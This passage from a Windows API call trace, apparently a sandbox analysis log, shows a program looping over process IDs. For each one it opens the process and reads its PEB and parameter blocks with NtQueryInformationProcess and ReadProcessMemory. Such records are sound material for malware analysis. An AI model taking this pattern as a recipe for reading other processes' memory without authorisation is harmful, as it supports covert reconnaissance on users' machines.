ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.214] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x297018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.214] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.214] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552510, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.214] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552198, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.214] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.214] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.214] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x297020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.215] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x551b50, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.215] malloc (_Size=0x5a) returned 0xeb6460 [0354.215] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5521d8, lpBuffer=0xeb6460, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6460*, lpNumberOfBytesRead=0x0) returned 1 [0354.216] free (_Block=0xeb6460) [0354.216] CloseHandle (hObject=0xa9c) returned 1 [0354.229] _ui64tow_s (in: _Value=0x1260, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4704") returned 0x0 [0354.230] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4704") returned 4 [0354.230] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.230] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.231] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1260) returned 0xa9c [0354.231] GetLastError () returned 0x0 [0354.231] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.231] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c7018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.231] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.231] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403df0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.231] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.232] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.232] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.232] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c7020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.232] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.232] malloc (_Size=0x64) returned 0xeb63f0 [0354.232] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a84, lpBuffer=0xeb63f0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb63f0*, lpNumberOfBytesRead=0x0) returned 1 [0354.233] free (_Block=0xeb63f0) [0354.233] CloseHandle (hObject=0xa9c) returned 1 [0354.233] _ui64tow_s (in: _Value=0xc6c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3180") returned 0x0 [0354.233] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3180") returned 4 [0354.233] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.233] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.234] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc6c) returned 0xa9c [0354.234] GetLastError () returned 0x0 [0354.234] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.234] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e0018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.235] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.235] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4a2470, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.235] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4a2118, lpBuffer=0x5ec5a0, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.235] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.235] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.235] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e0020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.235] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4a1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.236] malloc (_Size=0x2c) returned 0xe72870 [0354.236] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4a215c, lpBuffer=0xe72870, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe72870*, lpNumberOfBytesRead=0x0) returned 1 [0354.236] free (_Block=0xe72870) [0354.236] CloseHandle (hObject=0xa9c) returned 1 [0354.237] _ui64tow_s (in: _Value=0x16b8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5816") returned 0x0 [0354.237] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5816") returned 4 [0354.237] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.237] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.238] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16b8) returned 0xa9c [0354.238] GetLastError () returned 0x0 [0354.238] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.238] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.238] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.238] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4525a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.238] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x452230, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.239] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.239] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.239] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.239] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x451be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.240] malloc (_Size=0x52) returned 0xeaa050 [0354.240] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x452270, lpBuffer=0xeaa050, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa050*, lpNumberOfBytesRead=0x0) returned 1 [0354.240] free (_Block=0xeaa050) [0354.241] CloseHandle (hObject=0xa9c) returned 1 [0354.241] _ui64tow_s (in: _Value=0x134c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4940") returned 0x0 [0354.241] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4940") returned 4 [0354.241] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.241] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.242] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x134c) returned 0x0 [0354.242] CloseHandle (hObject=0x0) returned 0 [0354.242] _ui64tow_s (in: _Value=0xee8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3816") returned 0x0 [0354.243] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3816") returned 4 [0354.243] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.243] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.244] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee8) returned 0xa9c [0354.244] GetLastError () returned 0x0 [0354.244] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.244] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x32d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.244] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.244] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5724e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.244] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572118, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.245] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.245] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.245] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x32d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.245] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x571ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.245] malloc (_Size=0x76) returned 0xea95a0 [0354.245] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572164, lpBuffer=0xea95a0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea95a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.246] free (_Block=0xea95a0) [0354.247] CloseHandle (hObject=0xa9c) returned 1 [0354.247] _ui64tow_s (in: _Value=0x44c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1100") returned 0x0 [0354.247] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1100") returned 4 [0354.247] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.247] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.248] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x44c) returned 0xa9c [0354.248] GetLastError () returned 0x0 [0354.248] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.248] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x31c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.248] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.249] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4724b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.249] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472118, lpBuffer=0x5ec5a0, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.249] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.249] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.249] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x31c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.249] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.250] malloc (_Size=0x52) returned 0xea9ff0 [0354.250] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472168, lpBuffer=0xea9ff0, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9ff0*, lpNumberOfBytesRead=0x0) returned 1 [0354.251] free (_Block=0xea9ff0) [0354.251] CloseHandle (hObject=0xa9c) returned 1 [0354.251] _ui64tow_s (in: _Value=0x370, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="880") returned 0x0 [0354.251] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="880") returned 3 [0354.252] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.252] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.253] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x370) returned 0xa9c [0354.253] GetLastError () returned 0x0 [0354.253] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.253] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3cb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.253] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.253] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5924f0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.253] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x592118, lpBuffer=0x5ec5a0, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.254] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.254] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.254] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3cb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.254] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x591ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.254] malloc (_Size=0x68) returned 0xeb6150 [0354.254] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x592168, lpBuffer=0xeb6150, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6150*, lpNumberOfBytesRead=0x0) returned 1 [0354.255] free (_Block=0xeb6150) [0354.256] CloseHandle (hObject=0xa9c) returned 1 [0354.256] _ui64tow_s (in: _Value=0x10b8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4280") returned 0x0 [0354.257] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4280") returned 4 [0354.257] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.257] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.258] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10b8) returned 0xa9c [0354.258] GetLastError () returned 0x0 [0354.258] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.258] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2d4018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.258] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.259] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5426a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.259] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x542278, lpBuffer=0x5ec5a0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.259] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.259] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.259] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2d4020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.260] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x541c30, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.260] malloc (_Size=0x7a) returned 0xe87700 [0354.260] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5422ec, lpBuffer=0xe87700, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87700*, lpNumberOfBytesRead=0x0) returned 1 [0354.261] free (_Block=0xe87700) [0354.262] CloseHandle (hObject=0xa9c) returned 1 [0354.262] _ui64tow_s (in: _Value=0x11e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4576") returned 0x0 [0354.262] _vsnwprintf (in: _Buffer=0x5ed290, 